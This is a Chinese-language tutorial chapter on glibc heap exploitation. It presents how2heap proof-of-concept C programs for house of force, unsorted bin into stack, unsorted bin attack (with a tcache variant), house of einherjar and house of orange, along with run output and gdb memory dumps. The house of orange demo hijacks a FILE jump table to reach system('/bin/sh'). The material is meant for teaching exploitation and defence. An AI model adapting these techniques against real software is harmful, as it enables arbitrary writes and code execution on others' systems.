3.1.8 Linux 堆利用(下)

下载文件

how2heap

house_of_force

  1. #include <stdio.h>
  2. #include <stdint.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <stdint.h>
  6. #include <malloc.h>
  7. char bss_var[] = "This is a string that we want to overwrite.";
  8. int main() {
  9. fprintf(stderr, "We will overwrite a variable at %p\n\n", bss_var);
  10. intptr_t *p1 = malloc(0x10);
  11. int real_size = malloc_usable_size(p1);
  12. memset(p1, 'A', real_size);
  13. fprintf(stderr, "Let's allocate the first chunk of 0x10 bytes: %p.\n", p1);
  14. fprintf(stderr, "Real size of our allocated chunk is 0x%x.\n\n", real_size);
  15. intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size);
  16. fprintf(stderr, "Overwriting the top chunk size with a big value so the malloc will never call mmap.\n");
  17. fprintf(stderr, "Old size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
  18. ptr_top[0] = -1;
  19. fprintf(stderr, "New size of top chunk: %#llx\n", *((unsigned long long int *)ptr_top));
  20. unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*2 - (unsigned long)ptr_top;
  21. fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size, we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
  22. void *new_ptr = malloc(evil_size);
  23. int real_size_new = malloc_usable_size(new_ptr);
  24. memset((char *)new_ptr + real_size_new - 0x20, 'A', 0x20);
  25. fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr);
  26. void* ctr_chunk = malloc(0x30);
  27. fprintf(stderr, "malloc(0x30) => %p!\n", ctr_chunk);
  28. fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.\n");
  29. fprintf(stderr, "old string: %s\n", bss_var);
  30. strcpy(ctr_chunk, "YEAH!!!");
  31. fprintf(stderr, "new string: %s\n", bss_var);
  32. }
  1. $ gcc -g house_of_force.c
  2. $ ./a.out
  3. We will overwrite a variable at 0x601080
  4. Let's allocate the first chunk of 0x10 bytes: 0x824010.
  5. Real size of our allocated chunk is 0x18.
  6. Overwriting the top chunk size with a big value so the malloc will never call mmap.
  7. Old size of top chunk: 0x20fe1
  8. New size of top chunk: 0xffffffffffffffff
  9. The value we want to write to at 0x601080, and the top chunk is at 0x824028, so accounting for the header size, we will malloc 0xffffffffffddd048 bytes.
  10. As expected, the new pointer is at the same place as the old top chunk: 0x824030
  11. malloc(0x30) => 0x601080!
  12. Now, the next chunk we overwrite will point at our target buffer, so we can overwrite the value.
  13. old string: This is a string that we want to overwrite.
  14. new string: YEAH!!!

house_of_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地址处的内存。

首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk:

  1. gef x/8gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
  5. 0x602030: 0x0000000000000000 0x0000000000000000

chunk 1 真实可用的内存有 0x18 字节。

假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数:

  1. gef x/8gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk
  5. 0x602030: 0x0000000000000000 0x0000000000000000

改写之后的 size==0xffffffff。

现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。

  1. gef x/8gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000021
  3. 0x602010: 0x4141414141414141 0x4141414141414141
  4. 0x602020: 0x4141414141414141 0xfffffffffffff051
  5. 0x602030: 0x0000000000000000 0x0000000000000000
  6. gef x/12gx 0x602010+0xfffffffffffff050
  7. 0x601060: 0x4141414141414141 0x4141414141414141
  8. 0x601070: 0x4141414141414141 0x0000000000000fa9 <-- top chunk
  9. 0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
  10. 0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
  11. 0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
  12. 0x6010b0: 0x0000000000000000 0x0000000000000000

再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存:

  1. gef x/12gx 0x602010+0xfffffffffffff050
  2. 0x601060: 0x4141414141414141 0x4141414141414141
  3. 0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2
  4. 0x601080 <bss_var>: 0x2073692073696854 0x676e697274732061 <-- target
  5. 0x601090 <bss_var+16>: 0x6577207461687420 0x6f7420746e617720
  6. 0x6010a0 <bss_var+32>: 0x6972777265766f20 0x00000000002e6574
  7. 0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk

该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。

unsorted_bin_into_stack

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main() {
  4. unsigned long stack_buf[4] = {0};
  5. unsigned long *victim = malloc(0x80);
  6. unsigned long *p1 = malloc(0x10);
  7. fprintf(stderr, "Allocating the victim chunk at %p\n", victim);
  8. // deal with tcache
  9. // int *k[10], i;
  10. // for (i = 0; i < 7; i++) {
  11. // k[i] = malloc(0x80);
  12. // }
  13. // for (i = 0; i < 7; i++) {
  14. // free(k[i]);
  15. // }
  16. free(victim);
  17. fprintf(stderr, "Freeing the chunk, it will be inserted in the unsorted bin\n\n");
  18. stack_buf[1] = 0x100 + 0x10;
  19. stack_buf[3] = (unsigned long)stack_buf; // or any other writable address
  20. fprintf(stderr, "Create a fake chunk on the stack\n");
  21. fprintf(stderr, "fake->size: %p\n", (void *)stack_buf[1]);
  22. fprintf(stderr, "fake->bk: %p\n\n", (void *)stack_buf[3]);
  23. victim[1] = (unsigned long)stack_buf;
  24. fprintf(stderr, "Now we overwrite the victim->bk pointer to stack: %p\n\n", stack_buf);
  25. fprintf(stderr, "Malloc a chunk which size is 0x110 will return the region of our fake chunk: %p\n", &stack_buf[2]);
  26. unsigned long *fake = malloc(0x100);
  27. fprintf(stderr, "malloc(0x100): %p\n", fake);
  28. }
  1. $ gcc -g unsorted_bin_into_stack.c
  2. $ ./a.out
  3. Allocating the victim chunk at 0x17a1010
  4. Freeing the chunk, it will be inserted in the unsorted bin
  5. Create a fake chunk on the stack
  6. fake->size: 0x110
  7. fake->bk: 0x7fffcd906480
  8. Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480
  9. Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490
  10. malloc(0x100): 0x7fffcd906490

unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。

首先将一个 chunk 放入 unsorted bin,并且在栈上伪造一个 chunk:

  1. gdb-peda$ x/6gx victim - 2
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
  3. 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78
  4. 0x602020: 0x0000000000000000 0x0000000000000000
  5. gdb-peda$ x/4gx stack_buf
  6. 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
  7. 0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0

然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk:

  1. gdb-peda$ x/6gx victim - 2
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
  3. 0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer
  4. 0x602020: 0x0000000000000000 0x0000000000000000
  5. gdb-peda$ x/4gx stack_buf
  6. 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
  7. 0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0

那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk:

  1. gdb-peda$ x/6gx victim - 2
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk
  3. 0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
  4. 0x602020: 0x0000000000000000 0x0000000000000000
  5. gdb-peda$ x/4gx fake - 2
  6. 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
  7. 0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0

fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。

将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,stack_buf[3] 不能再设置成任意地址。

malloc 前:

  1. gdb-peda$ x/6gx victim - 2
  2. 0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
  3. 0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0
  4. 0x555555756270: 0x0000000000000000 0x0000000000000000
  5. gdb-peda$ x/4gx stack_buf
  6. 0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
  7. 0x7fffffffdcc0: 0x0000000000000000 0x00007fffffffdcb0
  8. gdb-peda$ x/26gx 0x0000555555756000+0x10
  9. 0x555555756010: 0x0700000000000000 0x0000000000000000 <-- counts
  10. 0x555555756020: 0x0000000000000000 0x0000000000000000
  11. 0x555555756030: 0x0000000000000000 0x0000000000000000
  12. 0x555555756040: 0x0000000000000000 0x0000000000000000
  13. 0x555555756050: 0x0000000000000000 0x0000000000000000
  14. 0x555555756060: 0x0000000000000000 0x0000000000000000
  15. 0x555555756070: 0x0000000000000000 0x0000000000000000
  16. 0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
  17. 0x555555756090: 0x0000000000000000 0x0000000000000000
  18. 0x5555557560a0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557560b0: 0x0000000000000000 0x0000000000000000
  20. 0x5555557560c0: 0x0000000000000000 0x0000000000000000
  21. 0x5555557560d0: 0x0000000000000000 0x0000000000000000

malloc 后:

  1. gdb-peda$ x/6gx victim - 2
  2. 0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk
  3. 0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80
  4. 0x555555756270: 0x0000000000000000 0x0000000000000000
  5. gdb-peda$ x/4gx fake - 2
  6. 0x7fffffffdcb0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
  7. 0x7fffffffdcc0: 0x00007ffff7dd2b00 0x00007fffffffdcb0
  8. gdb-peda$ x/26gx 0x0000555555756000+0x10
  9. 0x555555756010: 0x0700000000000000 0x0700000000000000 <-- counts <-- counts
  10. 0x555555756020: 0x0000000000000000 0x0000000000000000
  11. 0x555555756030: 0x0000000000000000 0x0000000000000000
  12. 0x555555756040: 0x0000000000000000 0x0000000000000000
  13. 0x555555756050: 0x0000000000000000 0x0000000000000000
  14. 0x555555756060: 0x0000000000000000 0x0000000000000000
  15. 0x555555756070: 0x0000000000000000 0x0000000000000000
  16. 0x555555756080: 0x0000000000000000 0x0000555555756670 <-- entries
  17. 0x555555756090: 0x0000000000000000 0x0000000000000000
  18. 0x5555557560a0: 0x0000000000000000 0x0000000000000000
  19. 0x5555557560b0: 0x0000000000000000 0x0000000000000000
  20. 0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries
  21. 0x5555557560d0: 0x0000000000000000 0x0000000000000000

可以看到在 malloc 时,fake chunk 被不断重复地链接到 tcache bin,直到装满后,才从 unsorted bin 里取出。同样的,fake chunk 的 fd 指向 unsorted bin。

unsorted_bin_attack

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main() {
  4. unsigned long stack_var = 0;
  5. fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
  6. unsigned long *p = malloc(0x80);
  7. unsigned long *p1 = malloc(0x10);
  8. fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
  9. free(p);
  10. fprintf(stderr, "We free the first chunk now. Its bk pointer point to %p\n", (void*)p[1]);
  11. p[1] = (unsigned long)(&stack_var - 2);
  12. fprintf(stderr, "We write it with the target address-0x10: %p\n\n", (void*)p[1]);
  13. malloc(0x80);
  14. fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var);
  15. }
  1. $ gcc -g unsorted_bin_attack.c
  2. $ ./a.out
  3. The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0
  4. Now, we allocate first small chunk on the heap at: 0x1066010
  5. We free the first chunk now. Its bk pointer point to 0x7f2404cf5b78
  6. We write it with the target address-0x10: 0x7ffc9b1d61a0
  7. Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78

unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。

unlink 的对 unsorted bin 的操作是这样的:

  1. /* remove from unsorted list */
  2. unsorted_chunks (av)->bk = bck;
  3. bck->fd = unsorted_chunks (av);

其中 bck = victim->bk

首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中:

  1. gef x/26gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed]
  3. 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
  4. 0x602020: 0x0000000000000000 0x0000000000000000
  5. 0x602030: 0x0000000000000000 0x0000000000000000
  6. 0x602040: 0x0000000000000000 0x0000000000000000
  7. 0x602050: 0x0000000000000000 0x0000000000000000
  8. 0x602060: 0x0000000000000000 0x0000000000000000
  9. 0x602070: 0x0000000000000000 0x0000000000000000
  10. 0x602080: 0x0000000000000000 0x0000000000000000
  11. 0x602090: 0x0000000000000090 0x0000000000000020 <-- chunk 2
  12. 0x6020a0: 0x0000000000000000 0x0000000000000000
  13. 0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
  14. 0x6020c0: 0x0000000000000000 0x0000000000000000
  15. gef x/4gx &stack_var-2
  16. 0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712
  17. 0x7fffffffdc60: 0x0000000000000000 0x0000000000602010
  18. gef heap bins unsorted
  19. [ Unsorted Bin for arena 'main_arena' ]
  20. [+] unsorted_bins[0]: fw=0x602000, bk=0x602000
  21. Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE)

然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc:

  1. gef x/26gx 0x602010-0x10
  2. 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3
  3. 0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50
  4. 0x602020: 0x0000000000000000 0x0000000000000000
  5. 0x602030: 0x0000000000000000 0x0000000000000000
  6. 0x602040: 0x0000000000000000 0x0000000000000000
  7. 0x602050: 0x0000000000000000 0x0000000000000000
  8. 0x602060: 0x0000000000000000 0x0000000000000000
  9. 0x602070: 0x0000000000000000 0x0000000000000000
  10. 0x602080: 0x0000000000000000 0x0000000000000000
  11. 0x602090: 0x0000000000000090 0x0000000000000021 <-- chunk 2
  12. 0x6020a0: 0x0000000000000000 0x0000000000000000
  13. 0x6020b0: 0x0000000000000000 0x0000000000020f51 <-- top chunk
  14. 0x6020c0: 0x0000000000000000 0x0000000000000000
  15. gef x/4gx &stack_var-2
  16. 0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk
  17. 0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL

从而泄漏了 unsorted bin 的头部地址。

那么继续来看 libc-2.27 里怎么处理:

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. int main() {
  4. unsigned long stack_var = 0;
  5. fprintf(stderr, "The target we want to rewrite on stack: %p -> %ld\n\n", &stack_var, stack_var);
  6. unsigned long *p = malloc(0x80);
  7. unsigned long *p1 = malloc(0x10);
  8. fprintf(stderr, "Now, we allocate first small chunk on the heap at: %p\n",p);
  9. free(p);
  10. fprintf(stderr, "Freed the first chunk to put it in a tcache bin\n");
  11. p[0] = (unsigned long)(&stack_var);
  12. fprintf(stderr, "Overwrite the next ptr with the target address\n");
  13. malloc(0x80);
  14. malloc(0x80);
  15. fprintf(stderr, "Now we malloc twice to make tcache struct's counts '0xff'\n\n");
  16. free(p);
  17. fprintf(stderr, "Now free again to put it in unsorted bin\n");
  18. p[1] = (unsigned long)(&stack_var - 2);
  19. fprintf(stderr, "Now write its bk ptr with the target address-0x10: %p\n\n", (void*)p[1]);
  20. malloc(0x80);
  21. fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var);
  22. }
  1. $ gcc -g tcache_unsorted_bin_attack.c
  2. $ ./a.out
  3. The target we want to rewrite on stack: 0x7ffef0884c10 -> 0
  4. Now, we allocate first small chunk on the heap at: 0x564866907260
  5. Freed the first chunk to put it in a tcache bin
  6. Overwrite the next ptr with the target address
  7. Now we malloc twice to make tcache struct's counts '0xff'
  8. Now free again to put it in unsorted bin
  9. Now write its bk ptr with the target address-0x10: 0x7ffef0884c00
  10. Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0

我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 “chunk” 是过不了检查的,将抛出 “memory corruption” 的错误:

  1. while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
  2. {
  3. bck = victim->bk;
  4. if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
  5. || __builtin_expect (chunksize_nomask (victim)
  6. > av->system_mem, 0))
  7. malloc_printerr ("malloc(): memory corruption");

那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了:

  1. if (tc_idx < mp_.tcache_bins
  2. /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
  3. && tcache
  4. && tcache->entries[tc_idx] != NULL)
  5. {
  6. return tcache_get (tc_idx);
  7. }

这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。

于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 0xff,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回:

  1. #if USE_TCACHE
  2. /* Fill cache first, return to user only if cache fills.
  3. We may return one of these chunks later. */
  4. if (tcache_nb
  5. && tcache->counts[tc_idx] < mp_.tcache_count)
  6. {
  7. tcache_put (victim, tc_idx);
  8. return_cached = 1;
  9. continue;
  10. }
  11. else
  12. {
  13. #endif
  14. check_malloced_chunk (av, victim, nb);
  15. void *p = chunk2mem (victim);
  16. alloc_perturb (p, bytes);
  17. return p;

于是就成功泄露出了 unsorted bin 的头部地址。

house_of_einherjar

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <malloc.h>
  6. int main() {
  7. uint8_t *a, *b, *d;
  8. a = (uint8_t*) malloc(0x10);
  9. int real_a_size = malloc_usable_size(a);
  10. memset(a, 'A', real_a_size);
  11. fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n\n", a);
  12. size_t fake_chunk[6];
  13. fake_chunk[0] = 0x80;
  14. fake_chunk[1] = 0x80;
  15. fake_chunk[2] = (size_t) fake_chunk;
  16. fake_chunk[3] = (size_t) fake_chunk;
  17. fake_chunk[4] = (size_t) fake_chunk;
  18. fake_chunk[5] = (size_t) fake_chunk;
  19. fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
  20. fprintf(stderr, "prev_size: %#lx\n", fake_chunk[0]);
  21. fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
  22. fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
  23. fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
  24. fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
  25. fprintf(stderr, "bck_nextsize: %#lx\n\n", fake_chunk[5]);
  26. b = (uint8_t*) malloc(0xf8);
  27. int real_b_size = malloc_usable_size(b);
  28. uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
  29. fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b);
  30. fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
  31. fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
  32. a[real_a_size] = 0;
  33. fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
  34. size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
  35. *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
  36. fprintf(stderr, "We write a fake prev_size to the last %lu bytes of a so that it will consolidate with our fake chunk\n", sizeof(size_t));
  37. fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
  38. fake_chunk[1] = fake_size;
  39. fprintf(stderr, "Modify fake chunk's size to reflect b's new prev_size\n");
  40. fprintf(stderr, "Now we free b and this will consolidate with our fake chunk\n");
  41. free(b);
  42. fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
  43. d = malloc(0x10);
  44. memset(d, 'A', 0x10);
  45. fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d);
  46. }
  1. $ gcc -g house_of_einherjar.c
  2. $ ./a.out
  3. We allocate 0x10 bytes for 'a': 0xb31010
  4. Our fake chunk at 0x7ffdb337b7f0 looks like:
  5. prev_size: 0x80
  6. size: 0x80
  7. fwd: 0x7ffdb337b7f0
  8. bck: 0x7ffdb337b7f0
  9. fwd_nextsize: 0x7ffdb337b7f0
  10. bck_nextsize: 0x7ffdb337b7f0
  11. We allocate 0xf8 bytes for 'b': 0xb31030
  12. b.size: 0x101
  13. We overflow 'a' with a single null byte into the metadata of 'b'
  14. b.size: 0x100
  15. We write a fake prev_size to the last 8 bytes of a so that it will consolidate with our fake chunk
  16. Our fake prev_size will be 0xb31020 - 0x7ffdb337b7f0 = 0xffff80024d7b5830
  17. Modify fake chunk's size to reflect b's new prev_size
  18. Now we free b and this will consolidate with our fake chunk
  19. Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size)
  20. Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800

house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 PREV_IN_USE 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。

首先分配一个假设存在 off_by_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了:

  1. gef x/8gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x4141414141414141 0x4141414141414141
  4. 0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk
  5. 0x603030: 0x0000000000000000 0x0000000000000000
  6. gef x/8gx &fake_chunk
  7. 0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk
  8. 0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
  9. 0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
  10. 0x7fffffffdce0: 0x00007fffffffddd0 0xffa7b97358729300

接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 PREV_INUSE 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了:

  1. gef x/8gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x4141414141414141 0x4141414141414141
  4. 0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b
  5. 0x603030: 0x0000000000000000 0x0000000000000000

原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。

接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev_size 字段相匹配:

  1. gef x/8gx a-0x10
  2. 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
  3. 0x603010: 0x4141414141414141 0x4141414141414141
  4. 0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size
  5. 0x603030: 0x0000000000000000 0x0000000000000000
  6. gef x/8gx &fake_chunk
  7. 0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size
  8. 0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0
  9. 0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0
  10. 0x7fffffffdce0: 0x00007fffffffddd0 0xadeb3936608e0600

释放 chunk b,这时因为 PREV_INUSE 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到:

  1. gef heap arenas
  2. Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000)

合并的过程在 poison-null-byte 那里也讲过了。

最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址:

  1. gef x/8gx &fake_chunk
  2. 0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d
  3. 0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141
  4. 0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331
  5. 0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00

house_of_orange

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. int winner (char *ptr);
  5. int main() {
  6. char *p1, *p2;
  7. size_t io_list_all, *top;
  8. p1 = malloc(0x400 - 0x10);
  9. top = (size_t *) ((char *) p1 + 0x400 - 0x10);
  10. top[1] = 0xc01;
  11. p2 = malloc(0x1000);
  12. io_list_all = top[2] + 0x9a8;
  13. top[3] = io_list_all - 0x10;
  14. memcpy((char *) top, "/bin/sh\x00", 8);
  15. top[1] = 0x61;
  16. _IO_FILE *fp = (_IO_FILE *) top;
  17. fp->_mode = 0; // top+0xc0
  18. fp->_IO_write_base = (char *) 2; // top+0x20
  19. fp->_IO_write_ptr = (char *) 3; // top+0x28
  20. size_t *jump_table = &top[12]; // controlled memory
  21. jump_table[3] = (size_t) &winner;
  22. *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table; // top+0xd8
  23. malloc(1);
  24. return 0;
  25. }
  26. int winner(char *ptr) {
  27. system(ptr);
  28. return 0;
  29. }
  1. $ gcc -g house_of_orange.c
  2. $ ./a.out
  3. *** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 ***
  4. ======= Backtrace: =========
  5. /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5]
  6. /lib/x86_64-linux-gnu/libc.so.6(+0x8213e)[0x7f3dae9a013e]
  7. /lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f3dae9a2184]
  8. ./a.out[0x4006cc]
